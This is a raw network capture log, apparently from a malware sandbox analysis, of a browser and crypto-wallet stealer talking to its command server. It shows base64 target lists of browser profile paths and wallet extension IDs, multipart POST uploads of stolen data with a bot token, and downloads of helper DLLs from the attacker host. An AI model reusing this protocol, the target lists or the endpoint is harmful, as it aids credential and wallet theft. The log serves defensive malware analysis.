Aug 30, 2024 06:18:07.492594957 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1460 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 30, 2024 06:18:07.492610931 CEST	452	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Aug 30, 2024 06:18:07.547179937 CEST	468	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF Host: 193.176.190.41 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 2d 2d 0d 0a Data Ascii: ------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------BGDGHJEHJJDAAAKEBGCFContent-Disposition: form-data; name="message"plugins------BGDGHJEHJJDAAAKEBGCF--
Aug 30, 2024 06:18:07.726286888 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 30, 2024 06:18:07.726306915 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Aug 30, 2024 06:18:07.726317883 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Aug 30, 2024 06:18:07.726358891 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Aug 30, 2024 06:18:07.726372004 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Aug 30, 2024 06:18:07.726383924 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Aug 30, 2024 06:18:07.766052008 CEST	469	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK Host: 193.176.190.41 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="message"fplugins------JEBGIIDBKEBFBGCAEBAK--
Aug 30, 2024 06:18:07.947273970 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 30, 2024 06:18:08.081624985 CEST	202	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCG Host: 193.176.190.41 Content-Length: 7947 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:08.081649065 CEST	7947	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 Data Ascii: ------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Aug 30, 2024 06:18:08.376707077 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:18:08.500576019 CEST	93	OUT	GET /9e7fbd3f0393ef32/sqlite3.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
Aug 30, 2024 06:18:08.675154924 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 30, 2024 06:18:08.675174952 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Aug 30, 2024 06:18:08.675185919 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Aug 30, 2024 06:18:08.675232887 CEST	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Aug 30, 2024 06:18:10.175476074 CEST	202	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJE Host: 193.176.190.41 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:10.414418936 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:18:10.766959906 CEST	202	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ Host: 193.176.190.41 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:18:11.079801083 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:18:11.249596119 CEST	564	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCB Host: 193.176.190.41 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file"------EHJKJDGCGDAKFHIDBGCB--
Aug 30, 2024 06:18:11.660459995 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:18:12.846515894 CEST	564	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKJEHJKJEBGHJJKEBGI Host: 193.176.190.41 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 62 64 62 30 64 39 39 62 63 36 33 63 33 39 37 32 63 32 32 34 35 30 31 36 34 37 31 66 39 63 33 31 34 62 31 61 39 62 39 39 63 32 64 62 65 30 65 66 35 62 39 66 65 64 39 37 65 39 33 32 36 66 31 38 37 63 38 62 62 32 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="token"32bdb0d99bc63c3972c2245016471f9c314b1a9b99c2dbe0ef5b9fed97e9326f187c8bb2------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJKJEHJKJEBGHJJKEBGIContent-Disposition: form-data; name="file"------HJKJEHJKJEBGHJJKEBGI--
Aug 30, 2024 06:18:13.031853914 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:18:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:18:13.363352060 CEST	93	OUT	GET /9e7fbd3f0393ef32/freebl3.dll HTTP/1.1 Host: 193.176.190.41 Cache-Control: no-cache
